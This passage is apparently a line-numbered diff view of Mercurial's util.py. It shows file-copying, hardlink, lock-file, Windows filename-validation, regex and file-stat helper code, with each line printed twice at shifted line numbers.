1874 b.pop()
1872 b.reverse()
1875 b.reverse()
1873 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1876 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1874
1877
1875
1878
1876 def checksignature(func, depth=1):
1879 def checksignature(func, depth=1):
1877 '''wrap a function with code to check for calling errors'''
1880 '''wrap a function with code to check for calling errors'''
1878
1881
1879 def check(*args, **kwargs):
1882 def check(*args, **kwargs):
1880 try:
1883 try:
1881 return func(*args, **kwargs)
1884 return func(*args, **kwargs)
1882 except TypeError:
1885 except TypeError:
1883 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1886 if len(traceback.extract_tb(sys.exc_info()[2])) == depth:
1884 raise error.SignatureError
1887 raise error.SignatureError
1885 raise
1888 raise
1886
1889
1887 return check
1890 return check
1888
1891
1889
1892
1890 # a whilelist of known filesystems where hardlink works reliably
1893 # a whilelist of known filesystems where hardlink works reliably
1891 _hardlinkfswhitelist = {
1894 _hardlinkfswhitelist = {
1892 b'apfs',
1895 b'apfs',
1893 b'btrfs',
1896 b'btrfs',
1894 b'ext2',
1897 b'ext2',
1895 b'ext3',
1898 b'ext3',
1896 b'ext4',
1899 b'ext4',
1897 b'hfs',
1900 b'hfs',
1898 b'jfs',
1901 b'jfs',
1899 b'NTFS',
1902 b'NTFS',
1900 b'reiserfs',
1903 b'reiserfs',
1901 b'tmpfs',
1904 b'tmpfs',
1902 b'ufs',
1905 b'ufs',
1903 b'xfs',
1906 b'xfs',
1904 b'zfs',
1907 b'zfs',
1905 }
1908 }
1906
1909
1907
1910
1908 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1911 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1909 """copy a file, preserving mode and optionally other stat info like
1912 """copy a file, preserving mode and optionally other stat info like
1910 atime/mtime
1913 atime/mtime
1911
1914
1912 checkambig argument is used with filestat, and is useful only if
1915 checkambig argument is used with filestat, and is useful only if
1913 destination file is guarded by any lock (e.g. repo.lock or
1916 destination file is guarded by any lock (e.g. repo.lock or
1914 repo.wlock).
1917 repo.wlock).
1915
1918
1916 copystat and checkambig should be exclusive.
1919 copystat and checkambig should be exclusive.
1917 """
1920 """
1918 assert not (copystat and checkambig)
1921 assert not (copystat and checkambig)
1919 oldstat = None
1922 oldstat = None
1920 if os.path.lexists(dest):
1923 if os.path.lexists(dest):
1921 if checkambig:
1924 if checkambig:
1922 oldstat = checkambig and filestat.frompath(dest)
1925 oldstat = checkambig and filestat.frompath(dest)
1923 unlink(dest)
1926 unlink(dest)
1924 if hardlink:
1927 if hardlink:
1925 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1928 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1926 # unless we are confident that dest is on a whitelisted filesystem.
1929 # unless we are confident that dest is on a whitelisted filesystem.
1927 try:
1930 try:
1928 fstype = getfstype(os.path.dirname(dest))
1931 fstype = getfstype(os.path.dirname(dest))
1929 except OSError:
1932 except OSError:
1930 fstype = None
1933 fstype = None
1931 if fstype not in _hardlinkfswhitelist:
1934 if fstype not in _hardlinkfswhitelist:
1932 hardlink = False
1935 hardlink = False
1933 if hardlink:
1936 if hardlink:
1934 try:
1937 try:
1935 oslink(src, dest)
1938 oslink(src, dest)
1936 return
1939 return
1937 except (IOError, OSError):
1940 except (IOError, OSError):
1938 pass # fall back to normal copy
1941 pass # fall back to normal copy
1939 if os.path.islink(src):
1942 if os.path.islink(src):
1940 os.symlink(os.readlink(src), dest)
1943 os.symlink(os.readlink(src), dest)
1941 # copytime is ignored for symlinks, but in general copytime isn't needed
1944 # copytime is ignored for symlinks, but in general copytime isn't needed
1942 # for them anyway
1945 # for them anyway
1943 else:
1946 else:
1944 try:
1947 try:
1945 shutil.copyfile(src, dest)
1948 shutil.copyfile(src, dest)
1946 if copystat:
1949 if copystat:
1947 # copystat also copies mode
1950 # copystat also copies mode
1948 shutil.copystat(src, dest)
1951 shutil.copystat(src, dest)
1949 else:
1952 else:
1950 shutil.copymode(src, dest)
1953 shutil.copymode(src, dest)
1951 if oldstat and oldstat.stat:
1954 if oldstat and oldstat.stat:
1952 newstat = filestat.frompath(dest)
1955 newstat = filestat.frompath(dest)
1953 if newstat.isambig(oldstat):
1956 if newstat.isambig(oldstat):
1954 # stat of copied file is ambiguous to original one
1957 # stat of copied file is ambiguous to original one
1955 advanced = (
1958 advanced = (
1956 oldstat.stat[stat.ST_MTIME] + 1
1959 oldstat.stat[stat.ST_MTIME] + 1
1957 ) & 0x7FFFFFFF
1960 ) & 0x7FFFFFFF
1958 os.utime(dest, (advanced, advanced))
1961 os.utime(dest, (advanced, advanced))
1959 except shutil.Error as inst:
1962 except shutil.Error as inst:
1960 raise error.Abort(stringutil.forcebytestr(inst))
1963 raise error.Abort(stringutil.forcebytestr(inst))
1961
1964
1962
1965
1963 def copyfiles(src, dst, hardlink=None, progress=None):
1966 def copyfiles(src, dst, hardlink=None, progress=None):
1964 """Copy a directory tree using hardlinks if possible."""
1967 """Copy a directory tree using hardlinks if possible."""
1965 num = 0
1968 num = 0
1966
1969
1967 def settopic():
1970 def settopic():
1968 if progress:
1971 if progress:
1969 progress.topic = _(b'linking') if hardlink else _(b'copying')
1972 progress.topic = _(b'linking') if hardlink else _(b'copying')
1970
1973
1971 if os.path.isdir(src):
1974 if os.path.isdir(src):
1972 if hardlink is None:
1975 if hardlink is None:
1973 hardlink = (
1976 hardlink = (
1974 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1977 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1975 )
1978 )
1976 settopic()
1979 settopic()
1977 os.mkdir(dst)
1980 os.mkdir(dst)
1978 for name, kind in listdir(src):
1981 for name, kind in listdir(src):
1979 srcname = os.path.join(src, name)
1982 srcname = os.path.join(src, name)
1980 dstname = os.path.join(dst, name)
1983 dstname = os.path.join(dst, name)
1981 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1984 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1982 num += n
1985 num += n
1983 else:
1986 else:
1984 if hardlink is None:
1987 if hardlink is None:
1985 hardlink = (
1988 hardlink = (
1986 os.stat(os.path.dirname(src)).st_dev
1989 os.stat(os.path.dirname(src)).st_dev
1987 == os.stat(os.path.dirname(dst)).st_dev
1990 == os.stat(os.path.dirname(dst)).st_dev
1988 )
1991 )
1989 settopic()
1992 settopic()
1990
1993
1991 if hardlink:
1994 if hardlink:
1992 try:
1995 try:
1993 oslink(src, dst)
1996 oslink(src, dst)
1994 except (IOError, OSError):
1997 except (IOError, OSError):
1995 hardlink = False
1998 hardlink = False
1996 shutil.copy(src, dst)
1999 shutil.copy(src, dst)
1997 else:
2000 else:
1998 shutil.copy(src, dst)
2001 shutil.copy(src, dst)
1999 num += 1
2002 num += 1
2000 if progress:
2003 if progress:
2001 progress.increment()
2004 progress.increment()
2002
2005
2003 return hardlink, num
2006 return hardlink, num
2004
2007
2005
2008
2006 _winreservednames = {
2009 _winreservednames = {
2007 b'con',
2010 b'con',
2008 b'prn',
2011 b'prn',
2009 b'aux',
2012 b'aux',
2010 b'nul',
2013 b'nul',
2011 b'com1',
2014 b'com1',
2012 b'com2',
2015 b'com2',
2013 b'com3',
2016 b'com3',
2014 b'com4',
2017 b'com4',
2015 b'com5',
2018 b'com5',
2016 b'com6',
2019 b'com6',
2017 b'com7',
2020 b'com7',
2018 b'com8',
2021 b'com8',
2019 b'com9',
2022 b'com9',
2020 b'lpt1',
2023 b'lpt1',
2021 b'lpt2',
2024 b'lpt2',
2022 b'lpt3',
2025 b'lpt3',
2023 b'lpt4',
2026 b'lpt4',
2024 b'lpt5',
2027 b'lpt5',
2025 b'lpt6',
2028 b'lpt6',
2026 b'lpt7',
2029 b'lpt7',
2027 b'lpt8',
2030 b'lpt8',
2028 b'lpt9',
2031 b'lpt9',
2029 }
2032 }
2030 _winreservedchars = b':*?"<>|'
2033 _winreservedchars = b':*?"<>|'
2031
2034
2032
2035
2033 def checkwinfilename(path):
2036 def checkwinfilename(path):
2034 # type: (bytes) -> Optional[bytes]
2037 # type: (bytes) -> Optional[bytes]
2035 r"""Check that the base-relative path is a valid filename on Windows.
2038 r"""Check that the base-relative path is a valid filename on Windows.
2036 Returns None if the path is ok, or a UI string describing the problem.
2039 Returns None if the path is ok, or a UI string describing the problem.
2037
2040
2038 >>> checkwinfilename(b"just/a/normal/path")
2041 >>> checkwinfilename(b"just/a/normal/path")
2039 >>> checkwinfilename(b"foo/bar/con.xml")
2042 >>> checkwinfilename(b"foo/bar/con.xml")
2040 "filename contains 'con', which is reserved on Windows"
2043 "filename contains 'con', which is reserved on Windows"
2041 >>> checkwinfilename(b"foo/con.xml/bar")
2044 >>> checkwinfilename(b"foo/con.xml/bar")
2042 "filename contains 'con', which is reserved on Windows"
2045 "filename contains 'con', which is reserved on Windows"
2043 >>> checkwinfilename(b"foo/bar/xml.con")
2046 >>> checkwinfilename(b"foo/bar/xml.con")
2044 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2047 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2045 "filename contains 'AUX', which is reserved on Windows"
2048 "filename contains 'AUX', which is reserved on Windows"
2046 >>> checkwinfilename(b"foo/bar/bla:.txt")
2049 >>> checkwinfilename(b"foo/bar/bla:.txt")
2047 "filename contains ':', which is reserved on Windows"
2050 "filename contains ':', which is reserved on Windows"
2048 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2051 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2049 "filename contains '\\x07', which is invalid on Windows"
2052 "filename contains '\\x07', which is invalid on Windows"
2050 >>> checkwinfilename(b"foo/bar/bla ")
2053 >>> checkwinfilename(b"foo/bar/bla ")
2051 "filename ends with ' ', which is not allowed on Windows"
2054 "filename ends with ' ', which is not allowed on Windows"
2052 >>> checkwinfilename(b"../bar")
2055 >>> checkwinfilename(b"../bar")
2053 >>> checkwinfilename(b"foo\\")
2056 >>> checkwinfilename(b"foo\\")
2054 "filename ends with '\\', which is invalid on Windows"
2057 "filename ends with '\\', which is invalid on Windows"
2055 >>> checkwinfilename(b"foo\\/bar")
2058 >>> checkwinfilename(b"foo\\/bar")
2056 "directory name ends with '\\', which is invalid on Windows"
2059 "directory name ends with '\\', which is invalid on Windows"
2057 """
2060 """
2058 if path.endswith(b'\\'):
2061 if path.endswith(b'\\'):
2059 return _(b"filename ends with '\\', which is invalid on Windows")
2062 return _(b"filename ends with '\\', which is invalid on Windows")
2060 if b'\\/' in path:
2063 if b'\\/' in path:
2061 return _(b"directory name ends with '\\', which is invalid on Windows")
2064 return _(b"directory name ends with '\\', which is invalid on Windows")
2062 for n in path.replace(b'\\', b'/').split(b'/'):
2065 for n in path.replace(b'\\', b'/').split(b'/'):
2063 if not n:
2066 if not n:
2064 continue
2067 continue
2065 for c in _filenamebytestr(n):
2068 for c in _filenamebytestr(n):
2066 if c in _winreservedchars:
2069 if c in _winreservedchars:
2067 return (
2070 return (
2068 _(
2071 _(
2069 b"filename contains '%s', which is reserved "
2072 b"filename contains '%s', which is reserved "
2070 b"on Windows"
2073 b"on Windows"
2071 )
2074 )
2072 % c
2075 % c
2073 )
2076 )
2074 if ord(c) <= 31:
2077 if ord(c) <= 31:
2075 return _(
2078 return _(
2076 b"filename contains '%s', which is invalid on Windows"
2079 b"filename contains '%s', which is invalid on Windows"
2077 ) % stringutil.escapestr(c)
2080 ) % stringutil.escapestr(c)
2078 base = n.split(b'.')[0]
2081 base = n.split(b'.')[0]
2079 if base and base.lower() in _winreservednames:
2082 if base and base.lower() in _winreservednames:
2080 return (
2083 return (
2081 _(b"filename contains '%s', which is reserved on Windows")
2084 _(b"filename contains '%s', which is reserved on Windows")
2082 % base
2085 % base
2083 )
2086 )
2084 t = n[-1:]
2087 t = n[-1:]
2085 if t in b'. ' and n not in b'..':
2088 if t in b'. ' and n not in b'..':
2086 return (
2089 return (
2087 _(
2090 _(
2088 b"filename ends with '%s', which is not allowed "
2091 b"filename ends with '%s', which is not allowed "
2089 b"on Windows"
2092 b"on Windows"
2090 )
2093 )
2091 % t
2094 % t
2092 )
2095 )
2093
2096
2094
2097
2095 timer = getattr(time, "perf_counter", None)
2098 timer = getattr(time, "perf_counter", None)
2096
2099
2097 if pycompat.iswindows:
2100 if pycompat.iswindows:
2098 checkosfilename = checkwinfilename
2101 checkosfilename = checkwinfilename
2099 if not timer:
2102 if not timer:
2100 timer = time.clock
2103 timer = time.clock
2101 else:
2104 else:
2102 # mercurial.windows doesn't have platform.checkosfilename
2105 # mercurial.windows doesn't have platform.checkosfilename
2103 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2106 checkosfilename = platform.checkosfilename # pytype: disable=module-attr
2104 if not timer:
2107 if not timer:
2105 timer = time.time
2108 timer = time.time
2106
2109
2107
2110
2108 def makelock(info, pathname):
2111 def makelock(info, pathname):
2109 """Create a lock file atomically if possible
2112 """Create a lock file atomically if possible
2110
2113
2111 This may leave a stale lock file if symlink isn't supported and signal
2114 This may leave a stale lock file if symlink isn't supported and signal
2112 interrupt is enabled.
2115 interrupt is enabled.
2113 """
2116 """
2114 try:
2117 try:
2115 return os.symlink(info, pathname)
2118 return os.symlink(info, pathname)
2116 except OSError as why:
2119 except OSError as why:
2117 if why.errno == errno.EEXIST:
2120 if why.errno == errno.EEXIST:
2118 raise
2121 raise
2119 except AttributeError: # no symlink in os
2122 except AttributeError: # no symlink in os
2120 pass
2123 pass
2121
2124
2122 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2125 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
2123 ld = os.open(pathname, flags)
2126 ld = os.open(pathname, flags)
2124 os.write(ld, info)
2127 os.write(ld, info)
2125 os.close(ld)
2128 os.close(ld)
2126
2129
2127
2130
2128 def readlock(pathname):
2131 def readlock(pathname):
2129 # type: (bytes) -> bytes
2132 # type: (bytes) -> bytes
2130 try:
2133 try:
2131 return readlink(pathname)
2134 return readlink(pathname)
2132 except OSError as why:
2135 except OSError as why:
2133 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2136 if why.errno not in (errno.EINVAL, errno.ENOSYS):
2134 raise
2137 raise
2135 except AttributeError: # no symlink in os
2138 except AttributeError: # no symlink in os
2136 pass
2139 pass
2137 with posixfile(pathname, b'rb') as fp:
2140 with posixfile(pathname, b'rb') as fp:
2138 return fp.read()
2141 return fp.read()
2139
2142
2140
2143
2141 def fstat(fp):
2144 def fstat(fp):
2142 '''stat file object that may not have fileno method.'''
2145 '''stat file object that may not have fileno method.'''
2143 try:
2146 try:
2144 return os.fstat(fp.fileno())
2147 return os.fstat(fp.fileno())
2145 except AttributeError:
2148 except AttributeError:
2146 return os.stat(fp.name)
2149 return os.stat(fp.name)
2147
2150
2148
2151
2149 # File system features
2152 # File system features
2150
2153
2151
2154
2152 def fscasesensitive(path):
2155 def fscasesensitive(path):
2153 # type: (bytes) -> bool
2156 # type: (bytes) -> bool
2154 """
2157 """
2155 Return true if the given path is on a case-sensitive filesystem
2158 Return true if the given path is on a case-sensitive filesystem
2156
2159
2157 Requires a path (like /foo/.hg) ending with a foldable final
2160 Requires a path (like /foo/.hg) ending with a foldable final
2158 directory component.
2161 directory component.
2159 """
2162 """
2160 s1 = os.lstat(path)
2163 s1 = os.lstat(path)
2161 d, b = os.path.split(path)
2164 d, b = os.path.split(path)
2162 b2 = b.upper()
2165 b2 = b.upper()
2163 if b == b2:
2166 if b == b2:
2164 b2 = b.lower()
2167 b2 = b.lower()
2165 if b == b2:
2168 if b == b2:
2166 return True # no evidence against case sensitivity
2169 return True # no evidence against case sensitivity
2167 p2 = os.path.join(d, b2)
2170 p2 = os.path.join(d, b2)
2168 try:
2171 try:
2169 s2 = os.lstat(p2)
2172 s2 = os.lstat(p2)
2170 if s2 == s1:
2173 if s2 == s1:
2171 return False
2174 return False
2172 return True
2175 return True
2173 except OSError:
2176 except OSError:
2174 return True
2177 return True
2175
2178
2176
2179
2177 try:
2180 try:
2178 import re2 # pytype: disable=import-error
2181 import re2 # pytype: disable=import-error
2179
2182
2180 _re2 = None
2183 _re2 = None
2181 except ImportError:
2184 except ImportError:
2182 _re2 = False
2185 _re2 = False
2183
2186
2184
2187
2185 class _re(object):
2188 class _re(object):
2186 def _checkre2(self):
2189 def _checkre2(self):
2187 global _re2
2190 global _re2
2188 try:
2191 try:
2189 # check if match works, see issue3964
2192 # check if match works, see issue3964
2190 _re2 = bool(re2.match(br'\[([^\[]+)\]', b'[ui]'))
2193 _re2 = bool(re2.match(br'\[([^\[]+)\]', b'[ui]'))
2191 except ImportError:
2194 except ImportError:
2192 _re2 = False
2195 _re2 = False
2193
2196
2194 def compile(self, pat, flags=0):
2197 def compile(self, pat, flags=0):
2195 """Compile a regular expression, using re2 if possible
2198 """Compile a regular expression, using re2 if possible
2196
2199
2197 For best performance, use only re2-compatible regexp features. The
2200 For best performance, use only re2-compatible regexp features. The
2198 only flags from the re module that are re2-compatible are
2201 only flags from the re module that are re2-compatible are
2199 IGNORECASE and MULTILINE."""
2202 IGNORECASE and MULTILINE."""
2200 if _re2 is None:
2203 if _re2 is None:
2201 self._checkre2()
2204 self._checkre2()
2202 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2205 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
2203 if flags & remod.IGNORECASE:
2206 if flags & remod.IGNORECASE:
2204 pat = b'(?i)' + pat
2207 pat = b'(?i)' + pat
2205 if flags & remod.MULTILINE:
2208 if flags & remod.MULTILINE:
2206 pat = b'(?m)' + pat
2209 pat = b'(?m)' + pat
2207 try:
2210 try:
2208 return re2.compile(pat)
2211 return re2.compile(pat)
2209 except re2.error:
2212 except re2.error:
2210 pass
2213 pass
2211 return remod.compile(pat, flags)
2214 return remod.compile(pat, flags)
2212
2215
2213 @propertycache
2216 @propertycache
2214 def escape(self):
2217 def escape(self):
2215 """Return the version of escape corresponding to self.compile.
2218 """Return the version of escape corresponding to self.compile.
2216
2219
2217 This is imperfect because whether re2 or re is used for a particular
2220 This is imperfect because whether re2 or re is used for a particular
2218 function depends on the flags, etc, but it's the best we can do.
2221 function depends on the flags, etc, but it's the best we can do.
2219 """
2222 """
2220 global _re2
2223 global _re2
2221 if _re2 is None:
2224 if _re2 is None:
2222 self._checkre2()
2225 self._checkre2()
2223 if _re2:
2226 if _re2:
2224 return re2.escape
2227 return re2.escape
2225 else:
2228 else:
2226 return remod.escape
2229 return remod.escape
2227
2230
2228
2231
2229 re = _re()
2232 re = _re()
2230
2233
2231 _fspathcache = {}
2234 _fspathcache = {}
2232
2235
2233
2236
2234 def fspath(name, root):
2237 def fspath(name, root):
2235 # type: (bytes, bytes) -> bytes
2238 # type: (bytes, bytes) -> bytes
2236 """Get name in the case stored in the filesystem
2239 """Get name in the case stored in the filesystem
2237
2240
2238 The name should be relative to root, and be normcase-ed for efficiency.
2241 The name should be relative to root, and be normcase-ed for efficiency.
2239
2242
2240 Note that this function is unnecessary, and should not be
2243 Note that this function is unnecessary, and should not be
2241 called, for case-sensitive filesystems (simply because it's expensive).
2244 called, for case-sensitive filesystems (simply because it's expensive).
2242
2245
2243 The root should be normcase-ed, too.
2246 The root should be normcase-ed, too.
2244 """
2247 """
2245
2248
2246 def _makefspathcacheentry(dir):
2249 def _makefspathcacheentry(dir):
2247 return {normcase(n): n for n in os.listdir(dir)}
2250 return {normcase(n): n for n in os.listdir(dir)}
2248
2251
2249 seps = pycompat.ossep
2252 seps = pycompat.ossep
2250 if pycompat.osaltsep:
2253 if pycompat.osaltsep:
2251 seps = seps + pycompat.osaltsep
2254 seps = seps + pycompat.osaltsep
2252 # Protect backslashes. This gets silly very quickly.
2255 # Protect backslashes. This gets silly very quickly.
2253 seps.replace(b'\\', b'\\\\')
2256 seps.replace(b'\\', b'\\\\')
2254 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2257 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
2255 dir = os.path.normpath(root)
2258 dir = os.path.normpath(root)
2256 result = []
2259 result = []
2257 for part, sep in pattern.findall(name):
2260 for part, sep in pattern.findall(name):
2258 if sep:
2261 if sep:
2259 result.append(sep)
2262 result.append(sep)
2260 continue
2263 continue
2261
2264
2262 if dir not in _fspathcache:
2265 if dir not in _fspathcache:
2263 _fspathcache[dir] = _makefspathcacheentry(dir)
2266 _fspathcache[dir] = _makefspathcacheentry(dir)
2264 contents = _fspathcache[dir]
2267 contents = _fspathcache[dir]
2265
2268
2266 found = contents.get(part)
2269 found = contents.get(part)
2267 if not found:
2270 if not found:
2268 # retry "once per directory" per "dirstate.walk" which
2271 # retry "once per directory" per "dirstate.walk" which
2269 # may take place for each patches of "hg qpush", for example
2272 # may take place for each patches of "hg qpush", for example
2270 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2273 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
2271 found = contents.get(part)
2274 found = contents.get(part)
2272
2275
2273 result.append(found or part)
2276 result.append(found or part)
2274 dir = os.path.join(dir, part)
2277 dir = os.path.join(dir, part)
2275
2278
2276 return b''.join(result)
2279 return b''.join(result)
2277
2280
2278
2281
2279 def checknlink(testfile):
2282 def checknlink(testfile):
2280 # type: (bytes) -> bool
2283 # type: (bytes) -> bool
2281 '''check whether hardlink count reporting works properly'''
2284 '''check whether hardlink count reporting works properly'''
2282
2285
2283 # testfile may be open, so we need a separate file for checking to
2286 # testfile may be open, so we need a separate file for checking to
2284 # work around issue2543 (or testfile may get lost on Samba shares)
2287 # work around issue2543 (or testfile may get lost on Samba shares)
2285 f1, f2, fp = None, None, None
2288 f1, f2, fp = None, None, None
2286 try:
2289 try:
2287 fd, f1 = pycompat.mkstemp(
2290 fd, f1 = pycompat.mkstemp(
2288 prefix=b'.%s-' % os.path.basename(testfile),
2291 prefix=b'.%s-' % os.path.basename(testfile),
2289 suffix=b'1~',
2292 suffix=b'1~',
2290 dir=os.path.dirname(testfile),
2293 dir=os.path.dirname(testfile),
2291 )
2294 )
2292 os.close(fd)
2295 os.close(fd)
2293 f2 = b'%s2~' % f1[:-2]
2296 f2 = b'%s2~' % f1[:-2]
2294
2297
2295 oslink(f1, f2)
2298 oslink(f1, f2)
2296 # nlinks() may behave differently for files on Windows shares if
2299 # nlinks() may behave differently for files on Windows shares if
2297 # the file is open.
2300 # the file is open.
2298 fp = posixfile(f2)
2301 fp = posixfile(f2)
2299 return nlinks(f2) > 1
2302 return nlinks(f2) > 1
2300 except OSError:
2303 except OSError:
2301 return False
2304 return False
2302 finally:
2305 finally:
2303 if fp is not None:
2306 if fp is not None:
2304 fp.close()
2307 fp.close()
2305 for f in (f1, f2):
2308 for f in (f1, f2):
2306 try:
2309 try:
2307 if f is not None:
2310 if f is not None:
2308 os.unlink(f)
2311 os.unlink(f)
2309 except OSError:
2312 except OSError:
2310 pass
2313 pass
2311
2314
2312
2315
2313 def endswithsep(path):
2316 def endswithsep(path):
2314 # type: (bytes) -> bool
2317 # type: (bytes) -> bool
2315 '''Check path ends with os.sep or os.altsep.'''
2318 '''Check path ends with os.sep or os.altsep.'''
2316 return bool( # help pytype
2319 return bool( # help pytype
2317 path.endswith(pycompat.ossep)
2320 path.endswith(pycompat.ossep)
2318 or pycompat.osaltsep
2321 or pycompat.osaltsep
2319 and path.endswith(pycompat.osaltsep)
2322 and path.endswith(pycompat.osaltsep)
2320 )
2323 )
2321
2324
2322
2325
2323 def splitpath(path):
2326 def splitpath(path):
2324 # type: (bytes) -> List[bytes]
2327 # type: (bytes) -> List[bytes]
2325 """Split path by os.sep.
2328 """Split path by os.sep.
2326 Note that this function does not use os.altsep because this is
2329 Note that this function does not use os.altsep because this is
2327 an alternative of simple "xxx.split(os.sep)".
2330 an alternative of simple "xxx.split(os.sep)".
2328 It is recommended to use os.path.normpath() before using this
2331 It is recommended to use os.path.normpath() before using this
2329 function if need."""
2332 function if need."""
2330 return path.split(pycompat.ossep)
2333 return path.split(pycompat.ossep)
2331
2334
2332
2335
2333 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2336 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
2334 """Create a temporary file with the same contents from name
2337 """Create a temporary file with the same contents from name
2335
2338
2336 The permission bits are copied from the original file.
2339 The permission bits are copied from the original file.
2337
2340
2338 If the temporary file is going to be truncated immediately, you
2341 If the temporary file is going to be truncated immediately, you
2339 can use emptyok=True as an optimization.
2342 can use emptyok=True as an optimization.
2340
2343
2341 Returns the name of the temporary file.
2344 Returns the name of the temporary file.
2342 """
2345 """
2343 d, fn = os.path.split(name)
2346 d, fn = os.path.split(name)
2344 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2347 fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
2345 os.close(fd)
2348 os.close(fd)
2346 # Temporary files are created with mode 0600, which is usually not
2349 # Temporary files are created with mode 0600, which is usually not
2347 # what we want. If the original file already exists, just copy
2350 # what we want. If the original file already exists, just copy
2348 # its mode. Otherwise, manually obey umask.
2351 # its mode. Otherwise, manually obey umask.
2349 copymode(name, temp, createmode, enforcewritable)
2352 copymode(name, temp, createmode, enforcewritable)
2350
2353
2351 if emptyok:
2354 if emptyok:
2352 return temp
2355 return temp
2353 try:
2356 try:
2354 try:
2357 try:
2355 ifp = posixfile(name, b"rb")
2358 ifp = posixfile(name, b"rb")
2356 except IOError as inst:
2359 except IOError as inst:
2357 if inst.errno == errno.ENOENT:
2360 if inst.errno == errno.ENOENT:
2358 return temp
2361 return temp
2359 if not getattr(inst, 'filename', None):
2362 if not getattr(inst, 'filename', None):
2360 inst.filename = name
2363 inst.filename = name
2361 raise
2364 raise
2362 ofp = posixfile(temp, b"wb")
2365 ofp = posixfile(temp, b"wb")
2363 for chunk in filechunkiter(ifp):
2366 for chunk in filechunkiter(ifp):
2364 ofp.write(chunk)
2367 ofp.write(chunk)
2365 ifp.close()
2368 ifp.close()
2366 ofp.close()
2369 ofp.close()
2367 except: # re-raises
2370 except: # re-raises
2368 try:
2371 try:
2369 os.unlink(temp)
2372 os.unlink(temp)
2370 except OSError:
2373 except OSError:
2371 pass
2374 pass
2372 raise
2375 raise
2373 return temp
2376 return temp
2374
2377
2375
2378
2376 class filestat(object):
2379 class filestat(object):
2377 """help to exactly detect change of a file
2380 """help to exactly detect change of a file
2378
2381
2379 'stat' attribute is result of 'os.stat()' if specified 'path'
2382 'stat' attribute is result of 'os.stat()' if specified 'path'
2380 exists. Otherwise, it is None. This can avoid preparative
2383 exists. Otherwise, it is None. This can avoid preparative
2381 'exists()' examination on client side of this class.
2384 'exists()' examination on client side of this class.
2382 """
2385 """
2383
2386
2384 def __init__(self, stat):
2387 def __init__(self, stat):
2385 self.stat = stat
2388 self.stat = stat
2386
2389
2387 @classmethod
2390 @classmethod
2388 def frompath(cls, path):
2391 def frompath(cls, path):
2389 try:
2392 try:
2390 stat = os.stat(path)
2393 stat = os.stat(path)
2391 except OSError as err:
2394 except OSError as err:
2392 if err.errno != errno.ENOENT:
2395 if err.errno != errno.ENOENT:
2393 raise
2396 raise
2394 stat = None
2397 stat = None
2395 return cls(stat)
2398 return cls(stat)
2396
2399
2397 @classmethod
2400 @classmethod
2398 def fromfp(cls, fp):
2401 def fromfp(cls, fp):
2399 stat = os.fstat(fp.fileno())
2402 stat = os.fstat(fp.fileno())
2400 return cls(stat)
2403 return cls(stat)
2401
2404
2402 __hash__ = object.__hash__
2405 __hash__ = object.__hash__
2403
2406
2404 def __eq__(self, old):
2407 def __eq__(self, old):
2405 try:
2408 try:
2406 # if ambiguity between stat of new and old file is
2409 # if ambiguity between stat of new and old file is
2407 # avoided, comparison of size, ctime and mtime is enough
2410 # avoided, comparison of size, ctime and mtime is enough
2408 # to exactly detect change of a file regardless of platform
2411 # to exactly detect change of a file regardless of platform
2409 return (
2412 return (
2410 self.stat.st_size == old.stat.st_size
2413 self.stat.st_size == old.stat.st_size
2411 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2414 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2412 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2415 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2413 )
2416 )
2414 except AttributeError:
2417 except AttributeError:
2415 pass
2418 pass
2416 try:
2419 try:
2417 return self.stat is None and old.stat is None
2420 return self.stat is None and old.stat is None
2418 except AttributeError:
2421 except AttributeError:
2419 return False
2422 return False
2420
2423
2421 def isambig(self, old):
2424 def isambig(self, old):
2422 """Examine whether new (= self) stat is ambiguous against old one
2425 """Examine whether new (= self) stat is ambiguous against old one
2423
2426
2424 "S[N]" below means stat of a file at N-th change:
2427 "S[N]" below means stat of a file at N-th change:
2425
2428
2426 - S[n-1].ctime < S[n].ctime: can detect change of a file
2429 - S[n-1].ctime < S[n].ctime: can detect change of a file
2427 - S[n-1].ctime == S[n].ctime
2430 - S[n-1].ctime == S[n].ctime
2428 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2431 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
2429 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2432 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
2430 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2433 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
2431 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
